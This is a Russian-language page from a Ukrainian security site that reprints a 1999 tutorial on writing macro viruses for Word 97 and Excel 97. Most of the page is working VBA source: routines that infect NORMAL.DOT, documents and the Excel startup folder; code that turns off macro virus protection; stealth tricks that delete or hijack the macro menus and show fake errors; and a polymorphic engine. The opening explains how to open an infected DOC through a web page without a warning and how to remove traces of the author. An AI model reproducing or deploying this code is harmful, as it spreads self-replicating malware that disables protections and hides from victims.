реклама
ОНЛАЙН АПТЕКА НИЗКИХ ЦЕН
цены ниже розничных точек. доставка по украине

   реклама    
Антилопа

proxy  статьи  библиотека  softice  free_юр.консультация  hard
рекламодателям  расшифровка штрих-кодов  links/add

http://kiev-security.org.ua

Содержание

|index|stealth|excel|

ВНЕДРЕНИЕ В КОМПЬЮТЕР ЧЕРЕЗ БРАУЗЕР С ИСПОЛЬЗОВАНИЕМ WINWORD

Если в качестве URL стоИт файл с одним из известных для Internet Explorer pасшиpением, то IE запускает пpогpамму, пpедназначенную для пpосмотpа этого файла. Hапpимеp, Acrobat Reader для файла .PDF или MSWord для .DOC. Что касается PDF, то внедpение в него кода еще не освоено, и такие возможности неизвестны, а с DOC'ом даавно все ясно. Что касается Netscape Navigator, такое тоже возможно, но я не нашел там DOC среди обрабатываемых расширений. Перед запуском файла обычно появляется запрос, стОит ли его открывать, но в IE 4 было обнаружено, что при открытии DOC никаких запросов не появляется. Просмотреть и изменить установки можно в Настройках <эТипы файлов> <эПодтверждать открытие после загрузки>.

Пpоблема номер 2 - это избежать надписи "Документ содеpжит макpосы". Для этого файл должен быть специальным обpазом подготовлен, а именно - необходимо создать файл - темплейт (т.н. шаблон), и все макpосы pазместить в нем. После чего нужно сделать "Attach template" (в менюшках ворда) и тогда пpи откpытии макpосы шаблона запустятся без лишнего шума - правда, это работает тоже не на всех Word'ах.Готово.

Мы не будем дожидаться, пока юзеp кликнет на нужный линк, и откpоем воpд сами,для этого pазместим JavaScript на стpанице.


  
  
   TEST

Пpи подготовке Word документа обязательно следите за тем, чтобы там не осталось следов вашего компьютеpа, таких как имя pегистpации воpда и т.п.

ПРИНЦИПЫ РАБОТЫ САМОРАЗМНОЖАЮЩИХСЯ МАКРОСОВ В Word'97.

При работе с документом Word выполняет различные действия: открывает документ, сохраняет, печатает, закрывает и т.д. При этом Word ищет и выполняет соответствующие "встроенные макросы" - при сохранении файла по выбору пункта меню File/Save вызывается макрос FileSave, при сохранении по пункту меню File/SaveAs - FileSaveAs, при печати документов - FilePrint и т.д.,если, конечно, таковые макросы определены.

Существует также несколько "авто-макросов", автоматически вызываемых при различных условиях. Например, при открытии документа Word проверяет его на наличие макроса AutoOpen. Если такой макрос присутствует, то Word выполняет его. При закрытии документа Word выполняет макрос AutoClose, при запуске Word вызывается макрос AutoExec, при завершении работы - AutoExit, при создании нового документа - AutoNew. Макро вирусы получают управление при открытии или закрытии зараженного файла, перехватывают стандартные файловые функции и затем заражают файлы, к которым каким-либо образом идет обращение. По аналогии с MS-DOS можно сказать, что большинство макро-вирусов являются резидентными: они активны не только в момент открытия/закрытия файла, но до тех пор, пока активен сам редактор.

Алгоритм работы СМ в Word97

Большинство известных Word-СМ (версий Word97 и 2000) при запуске копируют свой модуль в область глобальных макросов документа (NORMAL.DOT), таким образом, при следующем запуске редактора MS-Word этот код активизируется в тот момент, когда Word97 грузит глобальные модули, т.е. сразу. Затем вирус переопределяет содержащие в нем макросы (например, AutoOpen, AutoExit, FilePrint) и перехватывает их таким образом, что при вызове этих макросов будет заражаться документ. Ниже описаны четыре метода внедрения.

Метод 1: Стандартный.

При закрытии документа проверяем активный документ и normal.dot на наличие в них нашего модуля , и если не найден, то внедряемся в него.

Sub AutoClose()
'внедрение при закрытии документов
On Error Resume Next
Options.VirusProtection = False
'Выключает защиту от вирусов и запуск авто-функций.
Set ActiveDoc = ActiveDocument
Set GlobalDoc = NormalTemplate
DocInfect = False
'документ не содержит нашего модуля
GlobInfect = False
'normal.dot не содержит нашего модуля
For b = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(b).Name = "Nop" Then
'если в активном документе есть наш модуль
DocInfect = True
'то документ уже обработан
End If
Next
For u = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(u).Name = "Nop" Then
'если normal.dot есть модуль нашего СМ
GlobInfect = True
'то normal.dot обработан
End If
Next
If DocInfect = False Then
'если в активном документе нет нашего модуля, то внедряем его туда
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName,
Name:="Nop", Object:=wdOrganizerObjectProjectItems
'копируем наш модуль
ActiveDocument.SaveAs filename:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
End If
If GlobInfect = False Then
'если в normal.dot нет нашего модуля, то внедряем его туда
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName,
Name:="Nop", Object:=wdOrganizerObjectProjectItems
'копируем наш модуль
Options.SaveNormalPrompt = False
End If
Application.DisplayAlerts = wdAlertsAll
End Sub

Метод 2:

Для внедрения в документы используются функции VisualBasic Import и Export - записываем (экспортируем) свой Бейсик-текст в файл C:\MMM.SYS и затем считываем (импортируем) его в текущий документ (в случае Word). В случае Word для заражения документов перехватываем авто-макрос AutoClose.

Sub AutoClose()
'внедряется при закрытия документов
On Error Resume Next
Options.VirusProtection = False
'Выключает защиту от вирусов и запуск авто-функций.
Options.SaveNormalPrompt = False
'выключаем сообщение о запросе на сохранение изменений в 
normal.dot
Application.VBE.ActiveVBProject.VBComponents("SG").Export 
"C:\MMM.SYS"
'экспортируем наш модуль на диск
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "SG" Then 
NormInstall = True
'если в normal.dot нет нашего модуля, то внедряем его туда
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "SG" Then 
ActivInstall = True
Next I
'если в активном документе нет нашего модуля, то внедряем его
If ActivInstall = True And NormInstall = False Then Set SexR = 
NormalTemplate.VBProject _
Else If ActivInstall = False And NormInstall = True Then Set SexR = 
ActiveDocument.VBProject
With SexR
With .VBComponents.Import("c:\MMM.SYS")
End With
End With
'импортируем модуль в обЪекты, не содержащие нашего модуля
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=  
                   ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub

Метод 3:

"Нерезидентен" - при открытии файла-носителя ищет документы в каталогах от текущего каталога до корневого и внедряется в них. Свое присутствие в файле определяет по последовательности байт, которую при внедрении записывает в неиспользуемую область заголовка документа.

Sub AutoOpen()
'внедрение при открытии документов
On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False
'Выключает защиту от вирусов и запуск авто-функций.
rsminf: FileName$ = CurDir$ + "\" + Dir("*.doc")
'ищем doc файлы в текущем каталоге
Open FileName$ For Input As #1
'открываем файл
Seek #1, 521
'ищем в нем строку
RSM$ = Input$(3, #1)
Close #1
If RSM$ = Chr$(1) + Chr$(18) + Chr$(191) Then GoTo chgdir
'если нашли свои опозновательные знаки, то меняем директорию
Open FileName$ For Append As #1
'нашли документ без нашего модуля и откроем его
Seek #1, 523
'ищем строку
Print #1, Chr$(1) + Chr$(18) + Chr$(191) + Chr$(0) + Chr$(0)
'вписываем в найденный док метку нашего присутствия
Close #1
'закрываем документ
rsmdoc = ActiveDocument.FullName
Application.Documents.Open FileName
'открываем документ
Application.OrganizerCopy Source:=rsmdoc, Destination:=FileName, 
Name:="RatSMagic", Object:=wdOrganizerObjectProjectItems
'копируем наш модуль в документ
Application.Documents.Save
'сохраним обработанный документ
ActiveDocument.Close
'закрываем
chgdir: ChDir ".."
'изменяем директорию
GoTo rsminf
'поиск файлов
ecsit:
end sub

Метод 4:

Заражает систему при открытии файла-носителя, при этом экспортирует свой код в файл C:\CLASS.SYS и вставляет его в NORMAL.DOT макрос. Внедрение в документы осуществляется тем же образом при их закрытии.

Sub AutoOpen()
внедряется при открытии документов
On Error GoTo out
Options.ConfirmConversions = False
Options.VirusProtection = False
'Выключает защиту от вирусов и запуск авто-функций.
Options.SaveNormalPrompt = False
ad=ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLi
nes
nt=NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLi
nes
If nt = 0 Then 
Set host = NormalTemplate.VBProject.VBComponents.Item(1)
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"
'экспортируем наш модуль на диск
End If
If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)
If nt > 0 And ad > 0 Then GoTo out
'Проверяем если комманды в активном документе и normal.dot
host.codemodule.AddFromFile ("c:\class.sys")
'экспортируем class модуль
With host.codemodule
 
For x = 1 To 4
.deletelines 1
Next x
End With
 
If nt = 0 Then
With host.codemodule
.replaceline 1, "Sub AutoClose()"
.replaceline 69, "Sub ViewVBCode()"
End With
End If
 
out:
If nt <> 0 And ad = 0 Then ActiveDocument.SaveAs 
FileName:=ActiveDocument.FullName
End Sub

|index|up|

STEALTH МЕХАНИЗМЫ В WORDMACRO

Реализация стелс-алгоритмов является, наверное, наиболее простой задачей - достаточно всего лишь запретить вызов меню работы с макросами в VBA. Достигается это либо удалением этих пунктов меню из списка, либо их подменой на макросы. Ниже описаны четыре самых простых стелс методов, в будущем я покажу более сложные методы стелсирования под Word97.

Метод 1: "Удаление меню работы с макросами"

'Это один из самых простейших способов. Мы просто удаляем из меню 
эти функций.

CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Customize...").Delete
CommandBars("tools").Controls("Templates and add-ins...").Delete

Метод 2: "Выключение функций меню работы с макросами"

'Вирус выключает функцию работы с макросами.
Application.CommandBars("Tools").Controls(12).Enabled = False

Метод 3: "Перехват функций работы с макросами"

При вызове пользователем функций ToolsMacro, ToolsCustomize, ViewVBCode выдаем сообщение об ошибки.

Sub ToolsMacro()
MsgBox "An Invalid Command Was executed, the last processed command 
will be terminated", , "Fatal Systematic Error"
End Sub

Sub ToolsCustomize()
MsgBox "This function does not work"
End Sub

Sub ViewVBCode()
MsgBox "File Allocation Error: Unable to access segment at CS:1400", , 
"Memory Allocation Error"
End Sub

Метод 4: "Отключение работы всех параметров функций ToolsMacro"

При вызове юзером функций ToolsMacro, она включается, но ни одни параметры не работают в ней.

sub ToolsMacro()
On error resume next
NormalTemplate.VBProject.VBComponents("V").Export ("vir.dll")
'экспортируем модуль
application.OrganizerDelete NormalTemplate.FullName, 
"v",wdOrganizerObjectProjectItems
'удаляем модуль вируса из Normal.dot
While Dialogs(wdDialogToolsMacro).Display
Wend
'запрещаем запустить, изменить модуль вируса в документе.
NormalTemplate.VBProject.VBComponents.import ("vir.dll")
'сли юзер закрыл функцию toolsmacro то импортируем модуль
Kill "vir.dll"
'удаляем ненужный файл
end sub

ULTRAS 1999

Макро Полиморфик

Используется способ полиморфизма "изменение выполняемого кода". При открытий зараженного документа, случайным образом меняем имена своих переменных, вставляем пустые строки или меняют свой код каким-либо иным способом. Таким образом алгоритм работы остается без изменений, но код практически полностью меняется от поколения к поколению.

Полиморфизм для Word97.Этот полиморфный механизм добавляет в код строки со случайными комментариями случайной длины.

Sub UMPE()
' ULTRAS MACRO POLYMORPHIC ENGINE
MuNu = Int(Rnd() * 20 + 1)
'генерируем число от 1 до 20
For Mutate = 1 To MuNu
'сколько раз будет генерироваться мусор
MuRL = 
Application.VBE.ActiveVBProject.VBComponents("UMPE").CodeModule.Cou
ntOfLines
'открываем модуль
MuLi = Int(Rnd() * MuRL + 1)
'выбираем свободные строки в модуле
MuLe = Int(Rnd() * 40 + 1)
'генерируем число от 1 до 40
For MuGe = 1 To MuLe
'сколько раз генерим буквы
LiVe = Int((120 - 100 + 1) * Rnd + 228)
'генерируем буквы
MuRe = MuRe + Chr$(LiVe)
Next MuGe
'далее
Application.VBE.ActiveVBProject.VBComponents("UMPE").CodeModule.Ins
ertLines MuLi, vbTab & "' " & MuRe
'теперь записываем в модуль что получилось
MuRe = ""
Next Mutate
'повторим цикл
End Sub

Ну теперь надо подключить наш полиморфик к коду.
Sub AutoClose()
'внедряется при закрытии документов
On Error Resume Next
Options.VirusProtection = False
'Выключает защиту от вирусов и запуск авто-функций.
Options.SaveNormalPrompt = False
'выключаем сообщение об изменении normal.dot
Call UMPE
'!!!!!!!!! запускаем полиморфик
Application.VBE.ActiveVBProject.VBComponents("SG").Export 
"C:\UMPE.dll"
'экспортируем наш модуль на диск
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "SG" Then 
NormInstall = True
'если в normal.dot нет нашего модуля, то внедряемся в него
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "SG" Then
 ActivInstall = True
Next I
'если в активном документе нет нашего модуля, то внедряемся в него
If ActivInstall = True And NormInstall = False Then Set zom = 
NormalTemplate.VBProject _
Else If ActivInstall = False And NormInstall = True Then Set zom =
 ActiveDocument.VBProject
With zom
With .VBComponents.Import("c:\UMPE.dll")
End With
End With
'импортируем наш модуль в необработанные обЪекты
If ActivInstall = False Then ActiveDocument.SaveAs 
FileName:=ActiveDocument.FullName, _
FileFormat:=wdFormatDocument
End Sub

ULTRAS 1999

|index|up|

САМОРАЗМНОЖАЮЩИЕСЯ МАКРОСЫ В MS EXCEL'97

Методы СМ в Excel, включая Excel97, в целом аналогичны методам, используемым в Word. Различия заключаются в отсутствии NORMAL.DOT (вместо этого в Excel есть startup каталог) и некоторыми командами. Ниже будет описан пример внедрения в файлы Excel.

Sub Auto_Close()
'активация при закрытии документов
On Error Resume Next
If Dir(Application.StartupPath + "\" & Application.UserName & ".xlm") = 
Application.UserName & ".xlm" Then p = True
'проверяем есть ли наша копия в startup каталоге
Application.VBE.ActiveVBProject.VBComponents("IT").Export "c:\loz.dll"
'если файл найден в startup каталоге то экспортируем код в файл 
c:\loz.dll
For I = 1 To ActiveWorkbook.VBProject.VBComponents.Count
If ActiveWorkbook.VBProject.VBComponents(I).Name = "LMD" Then t = 
True
'проверяем если в документе наш модуль
Next I
If t = False Then
'если нет
With ActiveWorkbook.VBProject
With .VBComponents.Import("c:\loz.dll")
'то импортируем код из файла "c:\loz.dll"
End With
End With
End If
If p = False Then
'если в startup каталоге нет копий нашего кода
Workbooks.Add.SaveAs filename:=Application.StartupPath + "\" & 
Application.UserName & ".xlm"
'создаем пустой документ в startup каталоге
With ActiveWorkbook.VBProject
With .VBComponents.Import("c:\loz.dll")
'и внедряемся в созданый документ
End With
End With
Workbooks(Application.UserName & ".xlm").Save
'сохраним документ в startup каталоге
End If
ActiveWorkbook.Save
'сохраним активный документ
End Sub

|index|up|

Содержание

HOME


Если у вас есть сайт или домашняя страничка - поддержите пожайлуста наш ресурс, поставьте себе кнопочку, скопировав этот код:

<a href="http://kiev-security.org.ua" title="Самый большой объем в сети онлайн инф-ции по безопасности на rus" target="_blank"><img src="http://kiev-security.org.ua/88x31.gif" width="88" height="31" border="0" alt="security,безопасность,библиотека"></a>

Идея проекта(C)Anton Morozov, Kiev, Ukraine, 1999-2017,